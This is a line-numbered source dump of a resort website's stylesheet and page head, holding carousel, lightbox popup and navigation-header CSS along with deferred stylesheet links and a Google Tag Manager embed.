-webkit-touch-callout: none; 2723 -webkit-user-select: none; 2724 -khtml-user-select: none; 2725 -moz-user-select: none; 2726 -ms-user-select: none; 2727 user-select: none; 2728 -ms-touch-action: pan-y; 2729 touch-action: pan-y; 2730 -webkit-tap-highlight-color: transparent; 2731} 2732 2733.slick-list { 2734 position: relative; 2735 overflow: hidden; 2736 display: block; 2737 margin: 0; 2738 padding: 0; 2739} 2740 2741.slick-list:focus { 2742 outline: none; 2743} 2744 2745.slick-list.dragging { 2746 cursor: pointer; 2747 cursor: hand; 2748} 2749 2750.slick-slider .slick-track, 2751.slick-slider .slick-list { 2752 -webkit-transform: translate3d(0, 0, 0); 2753 -moz-transform: translate3d(0, 0, 0); 2754 -ms-transform: translate3d(0, 0, 0); 2755 -o-transform: translate3d(0, 0, 0); 2756 transform: translate3d(0, 0, 0); 2757} 2758 2759.slick-track { 2760 position: relative; 2761 left: 0; 2762 top: 0; 2763 display: block; 2764 margin-left: auto; 2765 margin-right: auto; 2766} 2767 2768.slick-track:before, .slick-track:after { 2769 content: ""; 2770 display: table; 2771} 2772 2773.slick-track:after { 2774 clear: both; 2775} 2776 2777.slick-loading .slick-track { 2778 visibility: hidden; 2779} 2780 2781.slick-slide { 2782 float: left; 2783 height: 100%; 2784 min-height: 1px; 2785 display: none; 2786} 2787 2788[dir="rtl"] .slick-slide { 2789 float: right; 2790} 2791 2792.slick-slide img { 2793 display: block; 2794} 2795 2796.slick-slide.slick-loading img { 2797 display: none; 2798} 2799 2800.slick-slide.dragging img { 2801 pointer-events: none; 2802} 2803 2804.slick-initialized .slick-slide { 2805 display: block; 2806} 2807 2808.slick-loading .slick-slide { 2809 visibility: hidden; 2810} 2811 2812.slick-vertical .slick-slide { 2813 display: block; 2814 height: auto; 2815 border: 1px solid transparent; 2816} 2817 2818.slick-arrow.slick-hidden { 2819 display: none; 2820} 2821
2822/* Variables 2823**********************************/ 2824/* all vars, no need for @if critical */ 2825/* breakpoints */ 2826/* Animation - see header.scss for usage examples */ 2827/* Form placeholders */ 2828/* Usage: 2829 2830 .foo { 2831 @include placeholder { 2832 color: green; 2833 } 2834 } 2835 2836 @include placeholder { 2837 color: red; 2838 } 2839*/ 2840/* Flexbox 2841***************************************/ 2842/* Card */ 2843/* Filter */ 2844/* Gridder */ 2845/* Variables 2846**********************************/ 2847/* all vars, no need for @if critical */ 2848/* breakpoints */ 2849/* Animation - see header.scss for usage examples */ 2850/* Form placeholders */ 2851/* Usage: 2852 2853 .foo { 2854 @include placeholder { 2855 color: green; 2856 } 2857 } 2858 2859 @include placeholder { 2860 color: red; 2861 } 2862*/ 2863/* Flexbox 2864***************************************/ 2865/* Card */ 2866/* Filter */ 2867/* Gridder */ 2868/* Magnific Popup CSS */ 2869.mfp-bg { 2870 top: 0; 2871 left: 0; 2872 width: 100%; 2873 height: 100%; 2874 z-index: 1042; 2875 overflow: hidden; 2876 position: fixed; 2877 background: #0b0b0b; 2878 opacity: 0.8; 2879} 2880 2881.mfp-wrap { 2882 top: 0; 2883 left: 0; 2884 width: 100%; 2885 height: 100%; 2886 z-index: 1043; 2887 position: fixed; 2888 outline: none !important; 2889 -webkit-backface-visibility: hidden; 2890} 2891 2892.mfp-container { 2893 text-align: center; 2894 position: absolute; 2895 width: 100%; 2896 height: 100%; 2897 left: 0; 2898 top: 0; 2899 padding: 0 8px; 2900 box-sizing: border-box; 2901} 2902 2903.mfp-container:before { 2904 content: ''; 2905 display: inline-block; 2906 height: 100%; 2907 vertical-align: middle; 2908} 2909 2910.mfp-align-top .mfp-container:before { 2911 display: none; 2912} 2913 2914.mfp-content { 2915 position: relative; 2916 display: inline-block; 2917 vertical-align: middle; 2918 margin: 0 auto; 2919 text-align: left; 2920 z-index: 1045; 2921} 2922 2923.mfp-inline-holder .mfp-content, 2924.mfp-ajax-holder .mfp-content { 2925 width: 100%; 2926 cursor: auto; 2927} 2928 2929.mfp-ajax-cur { 2930 cursor: progress; 2931} 2932 2933.mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close { 2934 cursor: -moz-zoom-out; 2935 cursor: -webkit-zoom-out; 2936 cursor: zoom-out; 2937} 2938 2939.mfp-zoom { 2940 cursor: pointer; 2941 cursor: -webkit-zoom-in; 2942 cursor: -moz-zoom-in; 2943 cursor: zoom-in; 2944} 2945 2946.mfp-auto-cursor .mfp-content { 2947 cursor: auto; 2948} 2949 2950.mfp-close, 2951.mfp-arrow, 2952.mfp-preloader, 2953.mfp-counter { 2954 -webkit-user-select: none; 2955 -moz-user-select: none; 2956 user-select: none; 2957} 2958 2959.mfp-loading.mfp-figure { 2960 display: none; 2961} 2962 2963.mfp-hide { 2964 display: none !important; 2965} 2966 2967.mfp-preloader { 2968 color: #CCC; 2969 position: absolute; 2970 top: 50%; 2971 width: auto; 2972 text-align: center; 2973 margin-top: -0.8em; 2974 left: 8px; 2975 right: 8px; 2976 z-index: 1044; 2977} 2978 2979.mfp-preloader a { 2980 color: #CCC; 2981} 2982 2983.mfp-preloader a:hover { 2984 color: #FFF; 2985} 2986 2987.mfp-s-ready .mfp-preloader { 2988 display: none; 2989} 2990 2991.mfp-s-error .mfp-content { 2992 display: none; 2993} 2994 2995button.mfp-close, 2996button.mfp-arrow { 2997 overflow: visible; 2998 cursor: pointer; 2999 background: transparent; 3000 border: 0; 3001 -webkit-appearance: none; 3002 display: block; 3003 outline: none; 3004 padding: 0; 3005 z-index: 1046; 3006 box-shadow: none; 3007 touch-action: manipulation; 3008} 3009 3010button::-moz-focus-inner { 3011 padding: 0; 3012 border: 0; 3013} 3014 3015.mfp-close { 3016 width: 44px; 3017 height: 44px; 3018 line-height: 44px; 3019 position: absolute; 3020 right: 0; 3021 top: 0; 3022 text-decoration: none; 3023 text-align: center; 3024 opacity: 0.65; 3025 padding: 0 0 18px 10px; 3026 color: #FFF; 3027 font-style: normal; 3028 font-size: 28px; 3029 font-family: Arial, Baskerville, monospace; 3030} 3031 3032.mfp-close:hover, 3033.mfp-close:focus { 3034 opacity: 1; 3035} 3036 3037.mfp-close:active { 3038 top: 1px; 3039} 3040 3041.mfp-close-btn-in .mfp-close { 3042 color: #333; 3043} 3044 3045.mfp-image-holder .mfp-close, 3046.mfp-iframe-holder .mfp-close { 3047 color: #FFF; 3048 right: -6px; 3049 text-align: right; 3050 padding-right: 6px; 3051 width: 100%; 3052} 3053 3054.mfp-counter { 3055 position: absolute; 3056 top: 0; 3057 right: 0; 3058 color: #CCC; 3059 font-size: 12px; 3060 line-height: 18px; 3061 white-space: nowrap; 3062} 3063 3064.mfp-arrow { 3065 position: absolute; 3066 opacity: 0.65; 3067 margin: 0; 3068 top: 50%; 3069 margin-top: -55px; 3070 padding: 0; 3071 width: 90px; 3072 height: 110px; 3073 -webkit-tap-highlight-color: transparent; 3074} 3075 3076.mfp-arrow:active { 3077 margin-top: -54px; 3078} 3079
3080.mfp-arrow:hover, 3081.mfp-arrow:focus { 3082 opacity: 1; 3083} 3084 3085.mfp-arrow:before, 3086.mfp-arrow:after { 3087 content: ''; 3088 display: block; 3089 width: 0; 3090 height: 0; 3091 position: absolute; 3092 left: 0; 3093 top: 0; 3094 margin-top: 35px; 3095 margin-left: 35px; 3096 border: medium inset transparent; 3097} 3098 3099.mfp-arrow:after { 3100 border-top-width: 13px; 3101 border-bottom-width: 13px; 3102 top: 8px; 3103} 3104 3105.mfp-arrow:before { 3106 border-top-width: 21px; 3107 border-bottom-width: 21px; 3108 opacity: 0.7; 3109} 3110 3111.mfp-arrow-left { 3112 left: 0; 3113} 3114 3115.mfp-arrow-left:after { 3116 border-right: 17px solid #FFF; 3117 margin-left: 31px; 3118} 3119 3120.mfp-arrow-left:before { 3121 margin-left: 25px; 3122 border-right: 27px solid #3F3F3F; 3123} 3124 3125.mfp-arrow-right { 3126 right: 0; 3127} 3128 3129.mfp-arrow-right:after { 3130 border-left: 17px solid #FFF; 3131 margin-left: 39px; 3132} 3133 3134.mfp-arrow-right:before { 3135 border-left: 27px solid #3F3F3F; 3136} 3137 3138.mfp-iframe-holder { 3139 padding-top: 40px; 3140 padding-bottom: 40px; 3141} 3142 3143.mfp-iframe-holder .mfp-content { 3144 line-height: 0; 3145 width: 100%; 3146 max-width: 900px; 3147} 3148 3149.mfp-iframe-holder .mfp-close { 3150 top: -40px; 3151} 3152 3153.mfp-iframe-scaler { 3154 width: 100%; 3155 height: 0; 3156 overflow: hidden; 3157 padding-top: 56.25%; 3158} 3159 3160.mfp-iframe-scaler iframe { 3161 position: absolute; 3162 display: block; 3163 top: 0; 3164 left: 0; 3165 width: 100%; 3166 height: 100%; 3167 box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); 3168 background: #000; 3169} 3170 3171/* Main image in popup */ 3172img.mfp-img { 3173 width: auto; 3174 max-width: 100%; 3175 height: auto; 3176 display: block; 3177 line-height: 0; 3178 box-sizing: border-box; 3179 padding: 40px 0 40px; 3180 margin: 0 auto; 3181} 3182 3183/* The shadow behind the image */ 3184.mfp-figure { 3185 line-height: 0; 3186} 3187 3188.mfp-figure:after { 3189 content: ''; 3190 position: absolute; 3191 left: 0; 3192 top: 40px; 3193 bottom: 40px; 3194 display: block; 3195 right: 0; 3196 width: auto; 3197 height: auto; 3198 z-index: -1; 3199 box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); 3200 background: #444; 3201} 3202 3203.mfp-figure small { 3204 color: #BDBDBD; 3205 display: block; 3206 font-size: 12px; 3207 line-height: 14px; 3208} 3209 3210.mfp-figure figure { 3211 margin: 0; 3212} 3213 3214.mfp-bottom-bar { 3215 margin-top: -36px; 3216 position: absolute; 3217 top: 100%; 3218 left: 0; 3219 width: 100%; 3220 cursor: auto; 3221} 3222 3223.mfp-title { 3224 text-align: left; 3225 line-height: 18px; 3226 color: #F3F3F3; 3227 word-wrap: break-word; 3228 padding-right: 36px; 3229} 3230 3231.mfp-image-holder .mfp-content { 3232 max-width: 100%; 3233} 3234 3235.mfp-gallery .mfp-image-holder .mfp-figure { 3236 cursor: pointer; 3237} 3238 3239@media screen and (max-width: 800px) and (orientation: landscape), screen and (max-height: 300px) { 3240 /** 3241 * Remove all paddings around the image on small screen 3242 */ 3243 .mfp-img-mobile .mfp-image-holder { 3244 padding-left: 0; 3245 padding-right: 0; 3246 } 3247 .mfp-img-mobile img.mfp-img { 3248 padding: 0; 3249 } 3250 .mfp-img-mobile .mfp-figure:after { 3251 top: 0; 3252 bottom: 0; 3253 } 3254 .mfp-img-mobile .mfp-figure small { 3255 display: inline; 3256 margin-left: 5px; 3257 } 3258 .mfp-img-mobile .mfp-bottom-bar { 3259 background: rgba(0, 0, 0, 0.6); 3260 bottom: 0; 3261 margin: 0; 3262 top: auto; 3263 padding: 3px 5px; 3264 position: fixed; 3265 box-sizing: border-box; 3266 } 3267 .mfp-img-mobile .mfp-bottom-bar:empty { 3268 padding: 0; 3269 } 3270 .mfp-img-mobile .mfp-counter { 3271 right: 5px; 3272 top: 3px; 3273 } 3274 .mfp-img-mobile .mfp-close { 3275 top: 0; 3276 right: 0; 3277 width: 35px; 3278 height: 35px; 3279 line-height: 35px; 3280 background: rgba(0, 0, 0, 0.6); 3281 position: fixed; 3282 text-align: center; 3283 padding: 0; 3284 } 3285} 3286 3287@media all and (max-width: 900px) { 3288 .mfp-arrow { 3289 -webkit-transform: scale(0.75); 3290 transform: scale(0.75); 3291 } 3292 .mfp-arrow-left { 3293 -webkit-transform-origin: 0; 3294 transform-origin: 0; 3295 } 3296 .mfp-arrow-right { 3297 -webkit-transform-origin: 100%; 3298 transform-origin: 100%; 3299 } 3300 .mfp-container { 3301 padding-left: 6px; 3302 padding-right: 6px; 3303 } 3304} 3305 3306/* Fade in effect */ 3307/* overlay at start */ 3308.mfp-fade.mfp-bg { 3309 opacity: 0; 3310 -webkit-transition: all 0.15s ease-out; 3311 -moz-transition: all 0.15s ease-out; 3312 transition: all 0.15s ease-out; 3313} 3314
3315/* overlay animate in */ 3316.mfp-fade.mfp-bg.mfp-ready { 3317 opacity: 0.8; 3318} 3319 3320/* overlay animate out */ 3321.mfp-fade.mfp-bg.mfp-removing { 3322 opacity: 0; 3323} 3324 3325/* content at start */ 3326.mfp-fade.mfp-wrap .mfp-content { 3327 opacity: 0; 3328 -webkit-transition: all 0.15s ease-out; 3329 -moz-transition: all 0.15s ease-out; 3330 transition: all 0.15s ease-out; 3331} 3332 3333/* content animate it */ 3334.mfp-fade.mfp-wrap.mfp-ready .mfp-content { 3335 opacity: 1; 3336} 3337 3338/* content animate out */ 3339.mfp-fade.mfp-wrap.mfp-removing .mfp-content { 3340 opacity: 0; 3341} 3342 3343/* Variables 3344**********************************/ 3345/* all vars, no need for @if critical */ 3346/* breakpoints */ 3347/* Animation - see header.scss for usage examples */ 3348/* Form placeholders */ 3349/* Usage: 3350 3351 .foo { 3352 @include placeholder { 3353 color: green; 3354 } 3355 } 3356 3357 @include placeholder { 3358 color: red; 3359 } 3360*/ 3361/* Flexbox 3362***************************************/ 3363/* Card */ 3364/* Filter */ 3365/* Gridder */ 3366/*************************************** 3367 INLINE STYLES - Above the fold 3368****************************************/ 3369.popup-outer { 3370 display: none; 3371} 3372 3373/*************************************** 3374 DEFERRED STYLES 3375****************************************/ 3376/* 3377 MDAdmin website 3378 main style sheet: style.scss 3379 3380 Surround parts that emit css with inline, head, or after. 3381 This will break the CSS up into inline in the head, link reference in the head, 3382 and deffered link refered loaded after the </body> tag is processed. 3383 Variables, mixins etc that do not of themselves emit css stay outside those 3384 conditions and in fact are probably needed by all 3 conditions. 3385 3386********************************************/ 3387</style> 3388 3389 3390 <!-- inline bundles --> 3391 3392 <noscript id="deferred-styles"> 3393 <link href="/css/after.css?v=aqfaUVLboszjjb4xE7yj9kAVhuuGueZ426RNS_Rk_1s1" rel="stylesheet"/> 3394 3395 <link href="/css/fontello/css/fontello.css" rel="stylesheet" > 3396 <link href="/css/custom-theme/jquery-ui.min.css" rel="stylesheet" > 3397 <link href="/components/book/css/book_after.css?v=dwd_lozt_a2nyw1xp7m4juergoij1rsherdbcd2jwmg1" rel="stylesheet" > 3398 <link href="/css/auto-bundles/vendors/swiper.min.css" rel="stylesheet" > 3399 <link href="/css/auto-bundles/components/dj-sliders/dj_sliders_after.css?v=nlysxmzjmq0lembs5d1iloiy8xlxea5-ims-_m5l0tg1" rel="stylesheet" > 3400 <link href="/css/auto-bundles/components/fw-tab-slider/fw_tab_slider_after.css?v=moeoayqj6qto_od61inbijk_caaj27tkoodvwtxhhmm1" rel="stylesheet" > 3401 <link href="/css/auto-bundles/components/perc-slider/perc_slider_after.css?v=vprpo8uyqfy7nei49gpwdcgus0kzc1330nodkfvopyu1" rel="stylesheet" > 3402 <link href="/css/auto-bundles/pages/home/index_after.css?v=qvg2xh7w3kd6ynzva2g4nioekhj5bavpr7q8rjlpdic1" rel="stylesheet" > 3403 <link href="/components/home_callouts/css/home_callouts_after.css?v=wyiakpqijob41b8qn653wz9cfrqwoqiucq1hcp6ogum1" rel="stylesheet" > 3404 <link href="/components/offers/css/offers_after.css?v=nfpnln24dtxdi3lxiae65nrxew1wojzkvjwquytuina1" rel="stylesheet" > 3405 <link href="/components/map/css/map_after.css?v=-ggzig4liaq4sf88nobdxolzvxooryihynevni1kw4o1" rel="stylesheet" > 3406 <link href="/components/reviews/css/reviews_after.css?v=urklexky9o4n0scfc4nwgbgznwbtnfnny3nnj_salfi1" rel="stylesheet" > 3407 <link href="/components/social/css/social_after.css?v=dqmw2wdrtldeo-jwagbkbvqaqdz7npv7pryepjywsdm1" rel="stylesheet" > 3408 <link href="/components/footer/css/footer_after.css?v=vyst1kyld7weqrxyksgbj43djfbsrbzsras3mvoxh641" rel="stylesheet" > 3409 <link href="/components/forms/eclub/css/eclub_after.css?v=evycwbt31i2kl7j7unfqggb_gyxaxjr9_othksvtxns1" rel="stylesheet" > 3410 </noscript> 3411 3412 3413 </head> 3414 <body class=""> 3415 3416 3417 3418 3419 3420 3421 3422 <!-- Google Tag Manager (noscript) -->
vendor: 77 bytes, lines 3422-3423
3422 3423 <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=
3423GTM-TD566NW
vendor: 101 bytes, lines 3423-3425
3423" 3424 height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> 3425
3425<!-- End Google Tag Manager (noscript) --> 3426 3427 3428 3429 3430 <style>.skip-nav-link{position:absolute;top:-4em;left:0;z-index:1001;padding:1em 1.5em;background-color:#ff671f;color:#fff;width:auto;height:auto;transition:top 1s ease-out}.skip-nav-link:focus{top:0;outline-color:transparent;transition:top .1s ease-in}.site-header{box-sizing:border-box;position:fixed;top:0;left:0;z-index:100;width:100%;color:#fff;transition:background-color .35s,color .35s}@media screen and (max-width:767px){.site-header{background-color:#fff;color:#56534d}}.site-header::before{content:'';pointer-events:none;position:absolute;top:0;left:0;z-index:-1;width:100%;height:20vh;background:linear-gradient(rgba(0,0,0,.7),rgba(0,0,0,0));transition:opacity .35s}@media screen and (max-width:767px){.site-header::before{content:none}}.active-subnav .site-header::before{opacity:0;transition:opacity 0s}.book-active .site-header::before,.isHeaderMin .site-header::before{opacity:0}.active-subnav .site-header{background-color:#fff;color:#56534d;transition:background-color 0s}.book-active .site-header,.isHeaderMin .site-header{background-color:#fff;color:#56534d;border-bottom:1px solid #ccc}.site-header-inner{box-sizing:border-box;max-width:1280px;width:94%;padding-top:1em;display:flex;transition:padding-top .35s}@media screen and (max-width:767px){.site-header-inner{padding:0;min-height:60px;width:auto;align-items:center}}.isHeaderMin .site-header-inner{padding-top:0}.site-logo{width:196px;height:80px;color:currentColor;overflow:hidden;margin:0 0 .75em;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:1023px){.site-logo{width:150px;height:61px}}@media screen and (max-width:767px){.site-logo{width:116px;height:47px;margin-left:1em}}@media screen and (max-width:480px){.site-logo{margin-left:.5em}}.site-logo a{display:block;width:100%;height:100%;color:currentColor}.site-logo a:focus{outline:1px solid;outline-offset:-2px}.site-logo svg{width:100%;height:100%}.site-logo .sl-1{fill:#ff671f}.site-logo .sl-2,.site-logo .sl-3,.site-logo .sl-4,.site-logo .sl-5,.site-logo .sl-6{fill:currentColor}.isHeaderMin .site-logo{width:116px;height:47px;margin:.25em 0}.site-logo-mkbh{width:160px;height:90px;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:767px){.site-logo-mkbh{width:84px;height:47px;margin-left:1em}}.site-logo-mkbh a{display:block;width:100%;height:100%;background-position:center;background-repeat:no-repeat;background-image:url(/images/layout/logos/mkbh-white.png);background-size:contain}@media screen and (max-width:767px){.site-logo-mkbh a{background-image:url(/images/layout/logos/mkbh-color.png)}}.book-active .site-logo-mkbh a,.active-subnav .site-logo-mkbh a,.isHeaderMin .site-logo-mkbh a{background-image:url(/images/layout/logos/mkbh-color.png)}.isHeaderMin .site-logo-mkbh{width:84px;height:47px;margin:.25em 0}.site-logo-westin{width:152px;height:56px;color:currentColor;overflow:hidden;margin:0;align-self:center;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:767px){.site-logo-westin{width:116px;height:43px;margin-left:1em}}@media screen and (max-width:480px){.site-logo-westin{margin-left:.5em}}.site-logo-westin a{color:currentColor}.site-logo-westin svg{width:100%;height:100%}.site-logo-westin .sl-westin-fill{fill:currentColor}.isHeaderMin .site-logo-westin{width:116px;height:43px;margin:.25em 0}.site-logo-mkr{width:196px;height:80px;color:currentColor;overflow:hidden;margin:0;transition:width .35s,height .35s,margin .35s}@media screen and (max-width:1023px){.site-logo-mkr{width:150px;height:61px}}@media screen and (max-width:767px){.site-logo-mkr{width:116px;height:47px;margin-left:1em}}@media screen and (max-width:480px){.site-logo-mkr{margin-left:.5em}}.site-logo-mkr a{color:currentColor}.site-logo-mkr svg{width:100%;height:100%}.site-logo-mkr .mkr-logo-1{fill:#ff671f}.site-logo-mkr .mkr-logo-2,.site-logo-mkr .mkr-logo-3,.site-logo-mkr .mkr-logo-4,.site-logo-mkr .mkr-logo-5,.site-logo-mkr .mkr-logo-6{fill:currentColor}.isHeaderMin .site-logo-mkr{width:116px;height:47px;margin:.25em 0}.site-nav{box-sizing:border-box;width:75%;display:flex;align-items:flex-end;transition:width .35s,align-items .35s}@media screen and (max-width:1023px){.site-nav{width:96%}}@media screen and (max-width:767px){.site-nav{width:100%}}.site-nav .btn-pill{font-size:.75rem;margin-bottom:.85em;transition:font-size .35s,margin-bottom .35s}.site-nav .btn-pill span:not(.button-bg){padding:.6rem 1.5rem}.site-nav .btn-pill .button-bg::before,.site-nav .btn-pill .button-bg::after{background-color:#161441}.isHeaderMin .site-nav .btn-pill{font-size:.65rem;margin-bottom:.75em}.isHeaderMin .site-nav{width:60%}@media screen and (max-width:1023px){.isHeaderMin .site-nav{width:80%}}@media(hover:hover){.site-nav .nav-dine .level3 .green:hover{color:#529d6e}.site-nav .nav-dine .level3 .green:hover::before{background-color:#529d6e}}.primary-nav{font-family:"Nunito Sans",sans-serif;flex:1;display:flex;margin-right:1em}@media screen and (max-width:767px){.primary-nav{display:block;margin-right:0}}.primary-nav>li{flex:1}@media screen and (max-width:767px){.primary-nav>li{border-bottom:1px solid #ccc}}.primary-nav>li:hover .pn-link{color:#ff671f}@media screen and (max-width:767px){.primary-nav>li:hover .pn-link{background-color:#ff671f;color:#fff}}.primary-nav>li:hover .pn-link>span:after{width:100%}@media screen and (max-width:767px){.primary-nav>li:hover .pn-link::after{display:block}}.primary-nav>li.nav-golf,.primary-nav>li.nav-culture{position:relative}@media screen and (max-width:1023px){.primary-nav>li.nav-golf,.primary-nav>li.nav-culture{position:static}}.primary-nav>li.nav-golf .dd-nav,.primary-nav>
3430li.nav-culture .dd-nav{left:auto;right:-2em;min-width:700px;transform:translate(0,-20px)}@media screen and (max-width:1023px){.primary-nav>li.nav-golf .dd-nav,.primary-nav>li.nav-culture .dd-nav{left:0;right:auto;min-width:0}}.primary-nav>li.nav-golf .dd-nav.open,.primary-nav>li.nav-culture .dd-nav.open{transform:translate(0,0)}.pn-link{display:block;position:relative;color:currentColor;padding:0 0 1.15em;font-size:.813rem;font-weight:600;letter-spacing:.1em;text-align:center;text-transform:uppercase;transition:font-size .35s,padding .35s}@media screen and (max-width:767px){.pn-link{padding:.5em 50px .5em 1.5em;text-align:left}}.pn-link>span{display:inline-block;position:relative}.pn-link>span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;-webkit-transform:translateX(-50%);-moz-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);content:'';position:absolute;top:calc(100% - 1px);left:50%;width:0;height:1px;background-color:#ff671f;pointer-events:none}@media screen and (max-width:1023px){.pn-link>span:after{content:none}}.pn-link::after{content:'î ';font-family:'fontello';font-size:1.1rem;pointer-events:none;position:absolute;top:50%;right:1em;width:25px;height:25px;background-color:#fff;color:#ff671f;border-radius:50%;text-align:center;display:none;transform:translateY(-50%)}.isHeaderMin .pn-link{font-size:.75rem;padding:0 0 .8em}.is-admin .pn-link{pointer-events:none}.utility{overflow:hidden;font-family:"Lora",serif;font-size:.8rem;letter-spacing:.035em;margin-bottom:.75em;max-height:60px;transition:max-height .35s,margin-bottom .35s}@media screen and (max-width:767px){.utility{margin-bottom:0;border-bottom:1px solid #ccc}}@media screen and (max-width:767px){.utility .un-ww{display:none}}.isHeaderMin .utility{max-height:0;margin-bottom:0}.weather-widget{display:flex;align-items:center;margin:0 1em}.weather-widget .weather-icon{width:20px;margin-right:.5em}.weather-widget .weather-icon path{fill:currentColor}.weather-widget .pipe{margin:0 .5em}.utility-nav{display:flex;align-items:center}@media screen and (max-width:767px){.utility-nav{justify-content:center}}.utility-nav a{display:block;padding:.25em .75em;color:currentColor}@media screen and (max-width:767px){.utility-nav a{padding:.75em}}.utility-nav a:hover{color:#ff671f}.utility-nav a:focus{outline:1px solid;outline-offset:-1px}.mobile-utility{margin-right:60px;display:none}@media screen and (max-width:767px){.mobile-utility{flex:1;display:flex;align-items:center;justify-content:flex-end}}.mobile-utility .btn-pill{font-size:.7rem;margin-left:.5em}.mobile-utility .btn-pill span:not(.button-bg){padding:.656rem}.mobile-utility .btn-pill .button-bg::before,.mobile-utility .btn-pill .button-bg::after{background-color:#161441}.nav-panel{flex:1;display:flex;flex-direction:column;align-items:flex-end;justify-content:flex-end}@media screen and (max-width:767px){.nav-panel{position:absolute;top:100%;left:0;width:100%;height:calc(100vh - 60px);background-color:#fff;color:currentColor;border-top:1px solid #ccc;overflow-y:auto;display:none}}@media screen and (max-width:767px){.active-nav .nav-panel{display:block}}.dd-nav{-webkit-transition:opacity .35s;-moz-transition:opacity .35s;-ms-transition:opacity .35s;transition:opacity .35s;box-sizing:border-box;position:absolute;top:100%;left:50%;z-index:-1;width:740px;background-color:#fff;color:#000;padding:2em;font-size:.9em;box-shadow:0 9px 9px 0 rgba(0,0,0,.25);opacity:0;pointer-events:none;overflow:hidden;transform:translate(-50%,-20px);transition:opacity .6s ease,transform .6s ease}
3430@media screen and (max-width:1023px){.dd-nav{left:0;width:100%;transform:translate(0,-20px)}}@media screen and (max-width:767px){.dd-nav{position:relative;top:auto;left:auto;padding:0;box-shadow:none;background-color:transparent;z-index:auto;opacity:1;transform:translateY(0);pointer-events:auto;display:none}}.dd-nav.open{z-index:auto;opacity:1;transform:translate(-50%,0);pointer-events:auto}@media screen and (max-width:1023px){.dd-nav.open{display:block;transform:translate(0,0)}}.dd-nav .col{box-sizing:border-box}@media screen and (max-width:1023px){.dd-nav .col{width:auto}}.dd-nav .col-1{box-sizing:border-box;display:flex;padding-right:2em;min-width:200px}@media screen and (max-width:1023px){.dd-nav .col-1{display:block;padding-right:0}}.dd-nav .col-2{min-width:415px;flex:0 0 415px}@media screen and (max-width:767px){.dd-nav .col-2{display:none}}.dd-nav a:focus{outline:1px dotted;outline-offset:2px}.nav-stay .dd-nav{width:740px}@media screen and (max-width:1023px){.nav-stay .dd-nav{width:auto}}.nav-play .dd-nav{width:860px}@media screen and (max-width:1023px){.nav-play .dd-nav{width:auto}}.nav-dine .dd-nav{width:940px}@media screen and (max-width:1023px){.nav-dine .dd-nav{width:auto}}.dd-nav-inner{display:flex;justify-content:space-between}@media screen and (max-width:767px){.dd-nav-inner{display:block}}.subnav-menu{}.subnav-menu ul::after{content:'';width:100%;display:inline-block}@media screen and (max-width:1023px){.subnav-menu ul::after{content:none}}.nav-play .subnav-menu,.nav-dine .subnav-menu{column-count:2;column-gap:3em}@media screen and (max-width:1023px){.nav-play .subnav-menu,.nav-dine .subnav-menu{column-gap:1.5em}}@media screen and (max-width:767px){.nav-play .subnav-menu,.nav-dine .subnav-menu{column-count:auto;column-gap:normal}}.nav-dine .subnav-menu{max-width:360px;column-gap:2em}@media screen and (max-width:1023px){.nav-dine .subnav-menu{column-gap:1.5em}}@media screen and (max-width:767px){.nav-dine .subnav-menu{max-width:none}}.subnav>li{margin-bottom:.25em;break-inside:avoid-column}@media screen and (max-width:1023px){.subnav>li:hover .level3{display:block}}.subnav .level3{margin-left:1em}@media screen and (max-width:767px){.subnav .level3{margin-left:0}}.subnav .level3 a{display:inline-block;padding:.25em 0;color:#6d6d6d;position:relative;white-space:nowrap}@media screen and (max-width:1023px){.subnav .level3 a{padding-left:1em;padding-right:1em;white-space:normal}}@media screen and (max-width:767px){.subnav .level3 a{padding-left:2.5em;padding-right:2.5em}}@media(hover:hover){.subnav .level3 a:hover{color:#ff671f}.subnav .level3 a:hover::before{content:'';pointer-events:none;width:0;height:1px;position:absolute;top:100%;left:0;background-color:#ff671f;transition:width .35s}}@media screen and (hover:hover) and (max-width:1023px){.subnav .level3 a:hover::before{content:none}}.subnav .level3 a:hover::before{width:100%}.sn-link{position:relative;display:block;padding:.25em;color:#000;letter-spacing:.025em;white-space:nowrap}@media screen and (max-width:767px){.sn-link{padding:.25em 1.5em;white-space:normal}}.sn-link span{display:inline-block;position:relative}.sn-link span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#ff671f;pointer-events:none}@media screen and (max-width:1023px){.sn-link span:after{content:none}}.sn-link:hover{color:#ff671f}.sn-link:hover span::after{width:100%}.subnav-promo .caption-grad{height:210px;margin-bottom:.5em;line-height:1.3em;position:relative;overflow:hidden;background-color:#000;color:#fff}.subnav-promo .caption-grad figcaption{box-sizing:border-box;position:absolute;left:0;bottom:0;z-index:2;width:100%;padding:.65em;text-align:center;font-size:2em;font-weight:200;text-transform:uppercase;line-height:1;filter:drop-shadow(0 0 .5em #000)}.subnav-promo p{margin-bottom:.75em;line-height:1.4em;font-size:.813rem}.subnav-promo p:last-of-type{margin-bottom:0}.subnav-promo .lm{font-size:.9em;letter-spacing:.075em}.subnav-promo-img{height:100%;overflow:hidden}.nav-toggle{-webkit-transition:top .35s;-moz-transition:top .35s;-ms-transition:top .35s;transition:top .35s;position:absolute;bottom:0;right:0;width:60px;height:60px;color:currentColor;display:none}@media screen and (max-width:767px){.nav-toggle{display:block}}.nav-toggle>span{-webkit-transition:background-color 0s .3s;-moz-transition:background-color 0s .3s;-ms-transition:background-color 0s .3s;transition:background-color 0s 